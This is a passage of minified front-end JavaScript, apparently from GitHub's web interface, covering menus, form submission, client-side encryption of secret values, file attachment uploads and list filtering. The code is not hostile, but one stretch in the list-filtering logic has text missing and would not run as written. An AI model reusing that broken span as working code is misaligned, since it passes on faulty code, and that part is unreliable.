t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof 